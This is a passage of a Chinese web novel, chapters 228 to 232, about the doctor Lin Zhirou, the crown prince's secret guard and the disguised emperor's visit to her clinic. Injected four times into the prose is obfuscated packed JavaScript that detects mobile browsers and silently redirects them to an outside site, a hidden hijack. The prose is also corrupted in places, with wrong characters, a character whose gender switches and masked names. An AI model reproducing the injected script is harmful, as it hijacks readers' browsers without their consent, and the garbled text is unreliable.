“这...这水有古怪。”云**眉头微皱,又喝了一口,细细品味其中的奇特之处。 阳阳在一旁默默看着,没有解释那是锦囊仙露的事。从小喝这种水长大,他从未生过病,但这种事说出去谁也不会相信。他抿着小嘴,眼中闪过一丝复杂。 云**放下碗,盘膝而坐,开始运功调息。那股暖流在经脉中游走,渐渐汇聚于丹田,化作一股纯净的内力。他能清晰地感觉到,自己的内力正在缓慢但稳定地增长。 马车里一片寂静,只有云**均匀的呼吸声。阳阳安静地坐在一旁,看着师父专注修炼的样子,不由想起娘亲教他认药材时的情景。 半个时辰后,云**睁开眼睛,整个人神清气爽。他的面色红润,双目炯炯有神,仿佛年轻了十岁。看向阳阳的目光更加慈爱:“收你为徒,真是我的福分。” “师父过奖了。”阳阳乖巧地回答,眼中却闪过一丝不易察觉的黯然。 两人收拾妥当,继续赶路。阳阳坐在马车里,透过车帘的缝隙望着外面的景色。道路两旁的树木飞快后退,偶尔有飞鸟掠过天际。云**赶着马车,心中盘算着回山后要如何教导这个聪慧的小徒弟。 马车轱辘碾过石子路,发出有节奏的声响。阳阳靠在软垫上,想起临别时娘亲红着眼眶的样子,心里一阵酸涩。他悄悄摸出一个香囊,那是娘亲亲手缝制的,里面装着安神的药材。 与此同时,林芷柔正在药铺里忙碌,手中的活计一刻不停。案板上摆着各色药材,她的手法娴熟,动作行云流水。只要停下来,脑海中就会浮现阳阳那双清澈的眼睛。 第二百二十八章 太子的暗卫来了 阳光透过窗棂洒在药柜上,空气中飘荡着各种药材的气息。林芷柔将药材捣碎,倒入药罐,开始熬制各种药膏。楚星澜和西七在一旁帮忙,谁也没有说话,空气中弥漫着一股沉重。 药罐里的汤药咕嘟咕嘟冒着泡,散发出浓郁的药香。林芷柔机械地搅动着药汤,目光却不自觉地飘向门外。街上行人匆匆,偶尔有孩童嬉戏的笑声传来,让她想起阳阳小时候在药铺里玩耍的情景。 “灰羽,怎么回事?”突然,一只小鸟飞进来,停在林芷柔肩头。她放下手中的药勺,轻声问道。 “主人,孔芷馨派了**,今晚要来偷袭。”灰羽压低声音说道。 林芷柔揉了揉太阳穴,眉间浮现出一丝疲惫:“让老五老四他们处理吧,我今天实在没心思应付。”她的声音有些沙哑,透着说不出的疲惫。 楚星澜看着嫂嫂疲惫的样子,心疼地靠过来:“嫂嫂,有我陪着你。”她轻轻握住林芷柔的手,感受到那双手的冰凉。 林芷柔勉强笑了笑,轻轻拍了拍楚星澜的手。生命中最重要的两个人,一个在陇城,一个去了遥远的青霞山。这种撕裂般的思念,让她的心如同被掏空一般。 药铺里的灯火渐渐暗了下来,街上的喧嚣也慢慢平息。林芷柔站在柜台后整理药材,动作机械而重复。每一味药材都让她想起教导阳阳时的点点滴滴。 夜色渐深,林芷柔看着窗外的月光,思绪飘向远方。不知道阳阳此刻是否已经安歇,是否还会想念她这个娘亲。月光如水,洒在她清瘦的脸上,映出一片苍白。 药铺的后院里,几个黑影悄无声息地潜伏着。他们手持利刃,目光阴冷,正等待着最佳的出手时机。然而他们不知道的是,暗处早已有人盯上了他们的一举一动。 林芷柔放下手中的药材,走到院子里。月光下,她的身影显得格外孤单。远处传来几声猫头鹰的叫声,她却知道那是暗号。很快,黑暗中传来几声闷哼,然后一切又归于平静。 她抬头望着天空中的明月,那轮明月此刻应该也照耀着阳阳和他的师父吧。不知道在青霞山上,能否看到如此明亮的月色。 沉重的气氛笼罩着整个房间,没有人说话。油灯在风中微微摇曳,在墙上投下晃动的影子。 林芷柔看着眼前这些同样伤心的女人们,心里泛起一阵酸楚。她的目光从每个人脸上扫过,看到的都是相同的悲伤和无助。 “娘,您一定要保重身体。”她握住顾馨巧的手,感受着那份微微的颤抖,声音有些哽咽。指尖传来的温度让她感到温暖。 顾馨巧没有说话,只是将林芷柔搂进怀里,眼泪无声地滑落。她的手轻轻抚摸着儿媳的后背,就像安抚自己的孩子那样。岁月流逝,赵氏也抱着楚星澜,两人相拥而泣。从云州到帝都的路,她们都看在眼里。那些艰难时刻,都是柔柔一个人扛过来的。每一步都走得那么艰难,却从未退缩。 “以后我们都陪着你,等星河和阳阳回来。”顾馨巧轻声说道,声音里带着心疼,“你已经做得够好了。” 林芷柔点点头,喉咙发紧。在阳阳离开之前,她总以为自己能承受这一切。可真到了分别的时候,那种撕心裂肺的痛楚,远比她想象的要难熬得多。 她依偎在婆婆的怀抱中,疲惫的身心终于得到片刻放松。眼皮越来越重,在不知不觉中沉沉入睡。睡梦中,她似乎回到了从前,一家人其乐融融的时光。 半楚,林芷柔猛然惊醒。 屋内静悄悄的,只有微弱的呼吸声。炕上躺着三个熟睡的身影,她下意识地寻找第四个人,随即想起阳阳已经离开了。这个认知让她心口一阵抽痛,仿佛有什么东西在撕扯着她的心脏。 “不是说今晚会有人来吗?”她轻声自语,目光落在窗外朦胧的月色上。 林芷柔蹑手蹑脚地下了炕,小心翼翼地避开地上的杂物。她透过门缝往外看去,院子里一片寂静,月光洒在空荡荡的庭院中,在地上投下斑驳的树影。 她轻轻推开门,木门发出细微的吱呀声。刚踏出一步,墨翎就从屋顶飞了下来,轻盈得像一片落叶。 “主人,那些笨贼跑错了地方,去了仁心医馆。”墨翎压低声音说道,眼中闪过一丝嘲讽,“西七在那边跟他们打起来了,他爹也带人去了。” 林芷柔忍不住笑了,笑容里带着几分无奈:“孔芷馨母女找的人还真是不靠谱,连地方都能找错。” “来了几个人?”她问道,声音里带着一丝警惕。 “五个。”墨翎回答,“都是些三流货色,连西七一个人都打不过。灰羽在那边盯着,有消息会立刻回来报告。” 林芷柔裹紧衣服,坐在院子里的石凳上。夜里的风带着刺骨的寒意。她抬头望着天空,零星的几颗星星在云层间若隐若现。 突然,一个黑影从屋顶落下,稳稳地站在她面前。那人身形矫健,动作轻巧,显然是个身手不凡的高手。 墨翎立刻警惕起来,身体微微前倾:“老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15984444|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四,有敌人!” 一群蝙蝠呼啸而至,发出尖锐的叫声,将黑影团团围住。月光下,它们的翅膀闪着幽幽的光。 “林大夫,我乃太子身边的暗卫如意,受命前来护卫您。”黑影开口说道,声音清冷,不带一丝情感。 林芷柔挥手示意蝙蝠退下,它们依依不舍地散开,但仍然盘旋在附近:“你说你是太子的人,可有凭证?” 惜柳取出一块腰牌,双手呈上。那是一块精致的玉牌,上面雕刻着繁复的花纹。 借着朦胧月色,林芷柔看清了上面的“东”字。确实是东宫的令牌,做工精良,不是能轻易仿制的。 “太子为何现在才派人过来?”林芷柔接过腰牌,若有所思地摩挲着上面的纹路。 惜柳从怀中取出一封信:“太子殿下有难言之隐,无法亲自出面,只能派人来守护林大夫。” 林芷柔展开信纸,上面只有简单的一句话:小心,明日皇上将微服私访仁心医馆。她的眉头微微皱起,这个消息来得太及时了。 “回去禀告太子,不必派人保护我。”林芷柔将信还给惜柳,语气坚定,“我有自己的办法来保护自己和家人。” 惜柳微微蹙眉,眼中闪过一丝担忧:“没有手信,估计太子不会信。” “稍等。”林芷柔起身进了正屋,在黑暗中摸索着找到笔墨,写下一张字条。她回到院子,将字条交给惜柳。 惜柳转身欲走,却又停下脚步,似乎在犹豫什么:“听闻林大夫医术高明,不知可能治愈心疾?” “要看是什么样的心疾。”林芷柔的目光落在惜柳身上,仔细观察着对方的神色。 “能否为我把脉?”惜柳的声音里带着一丝恳求。 林芷柔点头:“请坐。” 她仔细诊脉,感受着惜柳脉象的变化。良久才道:“你的心脏被暗器所伤,有异物残留。时常会头晕、胸闷,甚至昏厥,对吗?” 惜柳的眼中闪过一丝惊讶:“林大夫果然名不虚传。” “这种伤不难治,但需要时间。”林芷柔说着,从袖中取出一个小瓷瓶,“这是我配的药丸,可以暂时缓解症状。等时机合适,我再为你取出异物。” 惜柳接过瓷瓶,郑重地道谢:“多谢林大夫。” 屋内烛火摇曳,在惜柳清瘦的脸上投下忽明忽暗的光影。他轻叹一声,继续道:“我五岁入影卫营,整整十年的训练才得以出营。第一次任务就失手染上了此病,。” 第二百二十九章 暗卫惜柳 林芷柔的目光在惜柳身上停留片刻。烛光映照下,她能看到对方眼底藏着的那一丝期待。“你当时负责的是什么任务?” “玄冥细作混入帝都,太子命我等截杀。”惜柳神色黯然,眸中闪过一丝痛楚,“那人擅使飞镖,我中了招。情况紧急,为了不拖累同伴,我强行拔出暗器。只是那暗器带着倒钩,刺尖断在体内,从此便落下了病根。” 说到这里,惜柳不自觉地按住胸口,仿佛那里还残留着当年的疼痛。他的呼吸微微急促,面色也略显苍白。 听着惜柳的叙述,林芷柔不禁想起前世的种种。那些并肩作战的战友,那些生死与共的日子。虽然她只是一名随军医生,但危急时刻也会拿起武器。记忆中的枪林弹雨与眼前的山云厮杀重叠,让她心头一阵发紧。 “你今年贵庚?”林芷柔收敛思绪,转而问道。 “十九。”惜柳愣了愣,眉头微蹙,“难道治病还要看年纪?” 林芷柔微微颔首,起身走到药柜前,手指轻抚过一排排药瓶:“年龄确实是个重要因素。你还年轻,这心疾是可以治的,不过需要手术。”她转身直视惜柳的眼睛,“你是太子府的隐秘守卫,应该听说过我能剖开人的腹部再缝合,而病人还能活命。” 惜柳眼中闪过一丝希望,但很快又被犹豫取代:“是,我听说过墨香书斋老板的事。他来仁心医馆后,那大肚子就消失了。”她声音微颤,手指不自觉地揪紧了衣襟,“林大夫,我这病真能治好吗?” 屋外传来几声蝉鸣,夜风掀动窗纱,带来一丝凉意。林芷柔沉吟片刻:“天下没有百分百把握的疑难杂症。关键要看那断刺的位置,取出时会否引发其他问题。不过有一点是确定的,不治永远不会好,治疗则有康复的希望。选择权在你。” 惜柳沉默良久,眼神中闪过挣扎。最终,她起身告辞,既未应下,也未拒绝。作为暗卫,他的生死都由主子做主,更遑论治病。 望着惜柳离去的背影,林芷柔轻叹一声。她走到窗前,望着院中的月色出神。不知过了多久,灰羽扑棱着翅膀飞回来,打破了楚的寂静。 林芷柔仰头望着天空,月亮已经被云层遮住,只剩下淡淡的光晕。她深吸一口气,感受着夜风的寒冷。 墨翎在一旁欲言又止:“主人,您真的不需要太子的保护吗?” “不需要。”林芷柔摇摇头,“我们自己的事情,自己解决。况且...”她顿了顿,“太子的心思,不见得单纯。” 就在这时,远处传来一阵急促的脚步声。灰羽气喘吁吁地跑来:“主人,西七他们已经把那些人打跑了,但是...” “但是什么?” “那些人临走时说,明天还会再来。而且,他们好像知道了什么重要的事情。” 林芷柔的眼神变得锐利:“知道什么?” “他们说...明天会有贵人来医馆。” 林芷柔沉默片刻,突然笑了:“看来,不止太子一个人知道这个消息啊。” “主人,要不要...” “不用担心。”林芷柔打断了灰羽的话,“明天,就让他们来吧。” 夜色渐深,院子里重新恢复了平静。林芷柔站在院子里,久久没有回房。她知道,明天将是一场硬仗,但她已经别无选择。 风吹动树叶,发出沙沙的响声。远处,传来一声悠长的更鼓声,预示着新的一天即将来临。 “主人!”灰羽一落地便兴奋地说道,“那些黑衣人实在是没用!吕奋扬父子一来,就把他们打得哭爹喊娘。西七一个人对付就够了,又有他爹帮忙,那些人连还手的机会都没有。” 它手舞足蹈地比划着打斗的场景,脸上满是得意。林芷柔不禁莞尔,问道:“后续如何?” “送去京兆府。”灰羽趴在她膝上,眯起眼睛,像只偷了腥的猫,“天亮就送。” “也好。”林芷柔抱起灰羽,转身向内屋走去,“回屋歇息吧,今晚的风波已过。对了,我们院子外还有人盯梢吗?” 墨翎从阴影处走出,轻声答道:“原本有个一直跟着的,刚才惜柳来时把人打跑了。那人身手不错,应该是魏王府的人。” 林芷柔脚步一顿,眉头微皱:“打跑了魏王的人?这不是暴露了太子派人来的事吗?”她转向墨翎,眼中闪过一丝嗔怒,“安排下去,近期全力打探魏王府的消息。我要知道他的一切,还得收集其他所有的罪证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15998116|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,包括那些金银财宝。” “我这就去通知老七。”墨翎转身欲走。 “不急。”林芷柔拦住她,“天亮再说。我还要偷偷去一趟魏王府,你指使老五他们先搞清楚侍卫换班的时间。” 墨翎点头应下,身影很快消失在夜色中。 林芷柔回到房间,本以为会辗转难眠,没想到一沾枕头就睡着了。这些日子的奔波确实让她疲惫不堪,即便有仙露泉的滋养,身体也需要充足的休息。 次日晨光熹微,顾馨巧已经准备好了早饭。饭菜的香气飘散在院子里,勾起人的食欲。如今她和赵氏只负责家务,其他采买都由林芷柔包揽。每次她都从锦囊里取出大量物资,家人还以为是她花钱购置的。 用过早饭,林芷柔带着楚星澜来到仁心医馆。推开门,一股清新的药香扑面而来。西七已将医馆打扫得一尘不染,吕奋扬也在此等候。 “林大夫。”吕奋扬抱拳行礼,脸上带着几分歉意,“昨楚医馆进了五个贼人,已经抓住了。不知该如何处置?” “可曾审问?”林芷柔一边整理药柜,一边问道。 “是温五陈大姐雇来的。”吕奋扬犹豫道,眼神闪烁,“听闻林大夫与温五陈交好,要不要先知会他一声?” “不必。”林芷柔摇头,语气坚定,“直接送京兆府便是。不论结果如何,我们都不过问。” 吕奋扬点头,又道:“西七的后背被划了一刀,还请大夫看看。” “什么?”楚星澜惊呼,一把夺过西七手中的扫帚,眼中满是担忧,“你疯了?带伤还做这些?” 西七淡淡道:“死不了。”他的声音平静,仿佛在说一件微不足道的小事。 林芷柔蹙眉,对吕奋扬道:“您先去送人,我立刻给他处理伤口。” 待吕奋扬离开,她取出医具和仙露泉,让西七趴在检查床上。楚星澜在一旁打下手,为他们端来清水,眼中的担忧始终未减。 林芷柔递给西七一瓶药水:“先把这个喝了。”她的动作轻柔而专注,仿佛在对待一件珍贵的瓷器。 西七接过药水,一饮而尽。药水入喉,他紧绷的肌肉渐渐放松,眼中的痛楚也随之淡去。 第二百三十章 为西七治伤 林芷柔看着他的反应,心中暗自庆幸这次只用了普通溪水调配药剂,没敢放太多仙露泉。若是被人发现药效太过惊人,怕是会引来不必要的麻烦。 林芷柔拿起剪刀,手指微微发颤。她深吸一口气,稳住心神,开始小心翼翼地剪开西七背上的衣衫。 布料被血液浸透,已经和伤口粘在一起。每剪开一寸,都能听到西七压抑的吸气声。当最后一块衣料被掀开时,一道狰狞的伤口完全暴露在空气中。 凝固的血迹已经发黑,周围的皮肉外翻,看上去触目惊心。“伤口需要彻底清理,会很疼。”她轻声说道,声音里带着歉意。 西七微微点头,沙哑着嗓子回应:“无妨。” 就在这时,楚星澜端着水盆走了进来。她刚迈进门槛,就被西七背上的伤势惊得呆在原地。水盆在她手中剧烈晃动,清水溅出来打湿了她的衣襟。 “这...这些人也太狠了!”楚星澜的声音哽咽,眼泪不受控制地往下掉,“他们怎么能下这么重的手?” 西七听到她的抽泣声,心头涌上一股说不清道不明的情绪。多少年了,还有人会为他流泪。这种感觉既陌生又温暖,让他一时不知该如何应对。 “别哭,我不疼。”他转过头,看向楚星澜泪眼朦胧的脸。 “谁管你疼不疼!”楚星澜抹了把眼泪,气呼呼地说,“你怎么这么笨,被人砍还不知道躲?” “五个人围着我,躲不开。”西七的语气里带着几分委屈,这样的表情在他脸上显得格外少见。 林芷柔一边清理伤口,一边听着他们的对话。她注意到每次自己碰到伤口,西七的身体就会轻微颤抖,但他始终咬牙忍着,不发出一点声音。 “那你跑啊!”楚星澜继续数落他,“打不过就跑,这么简单的道理都不懂?你是不是傻?” “跑不掉,他们一直缠着我不放。”西七看着楚星澜气鼓鼓的样子,忍不住多解释了几句,“他们的身法很快,我甩不开。” “那几个人究竟是什么背景?”林芷柔一边给伤口消毒,一边问道。她手上的动作很轻,但还是能感觉到西七身体的紧绷。 “不清楚,但武功不算高。”“你爹知道吗?”楚星澜话一出口就后悔了,看到西七瞬间僵硬的背脊,她懊恼地咬住嘴唇。 西七沉默片刻,艰难地开口:“不知道他清不清楚。”声音里带着说不清的苦涩。 林芷柔开始缝合伤口,没有麻药的情况下,这个过程无疑是种煎熬。西七的手紧紧攥成拳头,指节发白,额头冒出豆大的汗珠。每一针下去,都像是在他的心上剜了一刀。 楚星澜看不下去了,拿起帕子给他擦汗:“疼就喊出来,忍着做什么?你可不是不怕疼的。” 她一边说一边抹眼泪,看起来比受伤的人还难过。帕子擦过西七的额头,轻柔得像是在对待什么珍贵的宝物。 西七望着她哭红的眼睛,心头一动。多少年了,还有人会这样关心他,这样心疼他。这种感觉让他既想靠近,又本能地想要逃离。 “我...确实很疼。”他终于承认,声音低得几乎听不见。 楚星澜给他擦汗的手不小心碰到他的唇,两人都是一愣。那一瞬间的触碰,像是有电流窜过,让人心跳加速。 西七感觉被触碰的地方有些发烫,连疼痛都减轻了几分。他不敢抬头,生怕被人看出自己的异样。 林芷柔终于处理完伤口,用仙露泉仔细擦拭了一遍。她看着已经缝合好的伤口,松了口气:“先别动,你的衣服全都不能再穿了。” “我自己想办法。”西七固执地说,试图站起来,却被楚星澜按住肩膀。 “你现在连动都动不了,还自己想办法?”楚星澜瞪着他,“就不能让人帮你一次吗?” 就在这时,吕奋扬匆匆赶来。看到儿子背上的伤势,他的脸色瞬间变得惨白。那道狰狞的伤口像是砍在他的心上,痛得他说不出话。 “那些人呢?”林芷柔问道,一边收拾着医药用具。 “都**,莫名其妙地倒在路上。”吕奋扬说,声音里带着几分困惑,“我已经让人去通知京兆府了。” 他走到西七面前,想要伸手摸摸儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15998117|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的头,却在半空中停住。那份想要靠近又不敢靠近的犹豫,让在场的人都感到一阵心酸。 “我这就去给你买新衣服。”吕奋扬最后说道。 西七还没来得及拒绝,吕奋扬已经快步离开。他知道儿子不愿接受他的东西,所以根本不给他开口的机会。 屋内陷入短暂的沉默。西七低着头,看着地面,心中百味杂陈。 楚星澜轻轻叹了口气,继续给他擦汗。她的动作很轻,像是怕碰疼了他。西七感受着她的温柔,心中那道坚固的壁垒似乎有了一丝松动。 林芷柔收拾好医药箱,转头对西七说:“你这两天尽可能不要剧烈运动。” 西七想要拒绝,但看到楚星澜担忧的眼神,到嘴边的话又咽了回去。他轻轻“嗯”了一声,算是答应。 医馆里飘散着各种药材的气息,清苦中带着几分温润。林芷柔深吸一口气,强迫自己将注意力转移到眼前的工作上。 西七的伤势需要细心照料,她刚处理完伤口,又迎来了一波病患。几个孩子挤在门口,脏兮兮的小脸上写满了期待。 “林大夫,我肚子疼...”一个扎着歪辫子的小姑娘怯生生地说道。 “进来吧。”林芷柔柔声道,“让我看看是怎么回事。” 在给一位老妇人把脉时,她的心思却不由自主地飘到了昨晚太子派人送来的消息上。皇上要微服私访仁心医馆,这个消息让她既紧张又兴奋。 “脉象有些虚弱...”她一边说着,一边在心里默默吩咐道:“萤萤,帮我找找看,李远龙那些东西里有没有他母妃的画像。” 锦囊里顿时响起一阵翻找的声响,伴随着萤萤絮絮叨叨的抱怨:“哎呀,这些东西都堆在一起,也不知道放在哪里了...” “老人家,您最近是不是没休息好?”林芷柔一边询问病情,一边耐心等待萤萤的回复。 老妇人叹了口气:“是啊,这几天总是睡不着,心里烦得很。” “我给您开些安神的药...”林芷柔话未说完,就听见萤萤兴奋的声音:“找到了!” 第二百三十一章 帝都最尊贵的人来了医馆 不一会儿,一幅画像出现在她手中。林芷柔小心翼翼地展开,画中女子的容颜让她惊艳不已。那双眼睛仿佛会说话,温柔中带着几分清冷,眉间一点朱砂痣更添几分妩媚。 “原来如此...”她轻声感叹。难怪李远龙生得如此俊美,原来是遗传了他母亲的容貌。 画的一角还留有李远龙的亲笔题字,写着祝母妃生辰快乐的字样。笔迹清秀隽永,透着几分书卷气。 林芷柔将画像挂在了医馆最显眼的位置,又仔细调整了一下角度。阳光恰好从窗棂透进来,为画像镀上一层柔和的光晕。 “嫂嫂,这是谁的画像啊?”楚星澜不知何时出现在她身后,好奇地打量着画中人物。 “一位很美的女子。”林芷柔含糊其辞,转身收拾药柜,“对了澜儿,你难道不打算写个剧本吗?下午这里可能会来贵客。” 她不想让太多人卷入这件事,尤其是单纯的楚星澜。魏王的手段她已经领教过了,能少一个人涉险就少一个。 “可是...”楚星澜还想说什么,眼中闪过一丝担忧。 这时西七也从里间走了出来:“林大夫,是不是出什么事了?”他换上了吕奋扬送来的新衣裳,虽然外面还套着粗布衫,但整个人看起来精神了不少。 “没什么大事,就是下午会有重要人物来。”林芷柔一边整理药材,一边轻声说道。 楚星澜立刻会意,冲西七使了个眼色。她虽然单纯,但并不笨,能察觉到事情的不寻常。 西七看着她不停眨眼的样子,心里觉得好笑又温暖。但他很快就压下了这种感觉,眼底闪过一丝自嘲。他只是个混混,配不上这样单纯可爱的姑娘。 “我想去外面转转。”他轻声说道,声音里带着几分疏离。 “小心伤口。”林芷柔叮嘱,“如果有不舒服就立刻回来。” 交待完林芷柔从锦囊里取出一本医书,一边看一边等待。这段时间她在城南推广卫生知识,效果很不错。 路过的百姓都会跟她打招呼,孩子们也不再蓬头垢面。街坊邻居时常带些自家种的菜来,虽然不值什么钱,但那份情意却让她倍感温暖。 “林大夫,还有糖吗?”一个叫赵虎虎的孩子怯生生地问,脏兮兮的小脸上满是期待。 “让我查查记录。”她翻开本子,仔细核对着每个孩子的服药情况。 “我吃了糖后拉出好多虫子呢!”旁边有孩子插嘴,语气中带着几分得意。 “对啊对啊,林大夫说这样我们才能长高长大!”赵虎虎兴奋地说,眼睛亮晶晶的。 林芷柔低头翻看着手中厚厚的登记本,指尖轻轻摩挲着纸张的边缘。这本登记簿是她亲手设计的,上面详细记录着每个孩子的姓名、年龄、服药时间和家庭信息。 楚星澜站在柜台后面,正专注地整理着药材。他那双修长的手指在各色药瓶间穿梭,动作娴熟而优雅。赵氏则在一旁耐心地为一位老婆婆解释着药方的服用方法,她的声音温和而亲切。顾馨巧则拿着小本子,认真地记录着每个病人的用药情况。 三人分工明确,一个负责登记,一个发放药丸,一个监督服用。整个过程井然有序,让林芷柔感到由衷的欣慰。她的目光在三人身上逐一扫过,心中涌起一股暖流。 正当她沉浸在工作中时,余光瞥见两个身影在门外徘徊。那道身影在阳光下投下一片阴影,引起了她的注意。 一个身着蓝色锦袍的中年男子正专注地看着墙上的宣传画。他身材瘦削,面容威严,眉宇间透着一股难以言喻的压迫感。举手投足间那股上位者的气势,即便是刻意收敛,依然无法完全掩饰。 在他身旁,还有一个矮胖的中年人,脸上堆满了谄媚的笑容。他不时偷瞄着四周,那双小眼睛滴溜溜地转个不停,像是在打量着什么。 林芷柔心中一动,但面上不动声色。她知道来者是谁,却装作浑然不觉的样子继续翻看登记本。手指在纸页上轻轻摩挲,耳朵却竖得老高,留意着门外的动静。 那两人终于踏入医馆,木质地板发出轻微的吱呀声。蓝袍男子的目光立刻被墙上挂着的那画像吸引了。那是一幅工笔画,画中女子神态优雅,眉目如画,举手投足间尽显大家闺秀的气质。 林芷柔暗自观察着他的反应。果然,那双威严的眼眸中闪过一丝异样的神色,虽然转瞬即逝,却未能逃过她敏锐的观察。她注意到男子的手指微微颤动,显然这幅画勾起了他某些不愿回想的记忆。 “大夫,为何医馆中会挂着这样一幅画像?”男子语气平淡地问道,声音中听不出任何情绪波动。 “哦,这幅画啊。”林芷柔故作轻松地回答,手中的笔在纸上划出一道漂亮的弧线,“是我在剿匪时从一个土匪窝里得来的。那些土匪其实是黑鹰帮假扮的,画虽然来路不正,但确实画得不错。” 蓝袍男子的手指再次颤动,声音依然平稳:“土匪窝?” “是啊,大叔要是喜欢,送给您也无妨。”林芷柔漫不经心地说道,眼角的余光却始终没有离开对方的表情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16008573|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她注意到男子听到“土匪窝”这三个字时,眼底闪过一丝不易察觉的慌乱。 “林大夫这般大方?”男子的声音依旧平静,但林芷柔却从中听出了一丝试探的意味。 “不过是一幅画罢了。”林芷柔轻笑一声,将手中的笔放在一旁,“比起我送出去的那些药品,这算什么?再说了,能将它送给喜欢它的人,也是一件美事。” 蓝袍男子沉默片刻,忽然伸出手:“那便替本老爷看看病吧。” “先登记。”林芷柔拿出登记本,纤细的手指在本子上轻轻点了点,“需要您的姓名、年龄和住址。” “和七,四十五岁,住城南。” 林芷柔在心中冷笑,面上却不动声色地记录下来。 楚星澜适时地走了过来,手中端着一杯清茶。“请用茶。”他的声音温和有礼,却带着一丝若有若无的疏离。 蓝袍男子接过茶杯,目光在楚星澜身上停留了片刻,似乎想从这个年轻人身上看出些什么。但楚星澜的表情平静如水,没有透露出任**息。 林芷柔趁机起身走向药柜,她需要一点时间来思考接下来的对策。这位不速之客的到来,显然不是单纯为了看病。那幅画背后的故事,恐怕才是他真正关心的。 顾馨巧正在整理药材,见林芷柔走来,低声问道:“需要我帮忙吗?” “不用。”林芷柔摇摇头,手指在药柜上轻轻敲击,“你继续忙你的。”她的语气轻松,但眼神却异常凝重。 赵氏察觉到了气氛的异样,默默地走到门口,假装打扫,实则是在警戒。医馆内的气氛逐渐变得微妙起来,所有人都在用各自的方式,演绎着这场无声的博弈。 “听闻林大夫医术高明。”老者开口道,语气平缓,“不知可有治疗心疾的良方?” 林芷柔给老者把了脉,眉头微皱。脉象显示,这确实是一位心疾患者,而且病情已经相当严重。她能感受到脉搏中隐藏的不规则跳动,这是长期心疾的典型表现。 “药是有,但也只能缓解症状,不能根治。”她轻声说道,语气中带着几分谨慎。 老者的目光依旧平静,但手指却不自觉地在椅子扶手上轻轻敲击:“能缓解到什么程度?” 林芷柔站起身,走到药柜前取出几个小瓷瓶。她仔细斟酌着用词:“心疾多由情绪波动引起,平日需注意调养,切忌大喜大悲。我这药含服后,在病情发作时能够迅速缓解疼痛,让呼吸顺畅。若配合汤药调理,保持心境平和,日常生活倒也无碍。” 第二百三十二章 皇上心中的白月光 说话间,她的余光注意到老者的目光又一次不自觉地飘向那幅画。不知为何,每当看向画作时,他的呼吸就会变得略微急促。 “不大悲大喜?”老者喃喃自语,目光凝固在画上。那副画似乎勾起了他某些不愿回想的记忆,他的手指微微颤抖,面色也变得更加苍白。 一旁的温公公察觉到气氛的异样,连忙上前一步:“老爷,要不要歇息片刻?” 老者摆了摆手:“罢了,只要含服的药便是。听闻林大夫的药丸独特,本老爷也想尝试一下。” “这药确实特别。”林芷柔一边说着,一边从柜子里取出一个精致的木盒,“它不是寻常吃服的药丸,而是心痛发作时含在舌下慢慢化开的。制作工艺独特,需要精选上等药材,每一味都要把握恰到好处的火候。” 她停顿片刻,继续道:“制作需时五日,一颗千两银子。”本想开价万两,但思及对方身份,还是适当降了价格。即便如此,那可是治疗冠心病的神药,千两银子也不算贵。 “一千两?”老者眉头微挑,语气中带着几分意外。 林芷柔神色坦然,目光清澈:“正是,概不还价,也不打折。这药材难寻,配方独特,价格公道。” “噗嗤!”一旁的温公公忍俊不禁,“林大夫当真敢言。” 老者沉吟片刻:“好,先要五颗。” 林芷柔在册子上记下:“先交一半押金,余款取药时结清。”她的笔触流畅,字迹清秀。 温公公取出荷包,利落地付了二千五百两银子。林芷柔收好玉牌,正要开收据,却听老者忽然问道:“听说你这来了位云老爷子?” 林芷柔手上的动作一顿,抬眼看向老者。对方的目光闪烁,显然这才是他此行的真正目的。 “是魏王告诉您的?”她直接问道。 老者语塞,显然没想到她会如此直白。“云**已经离开了。”林芷柔随口道,“说是来寻什么东西,没找着就走了。”她注意到老者眼中闪过一丝失望。 老者起身,缓步走到那幅画前。忽然,他的身形猛地一顿,目光死死盯着画作左下角的小字。 【祝母妃生辰快乐,儿李远龙作。】 母妃?姓李?玄冥? 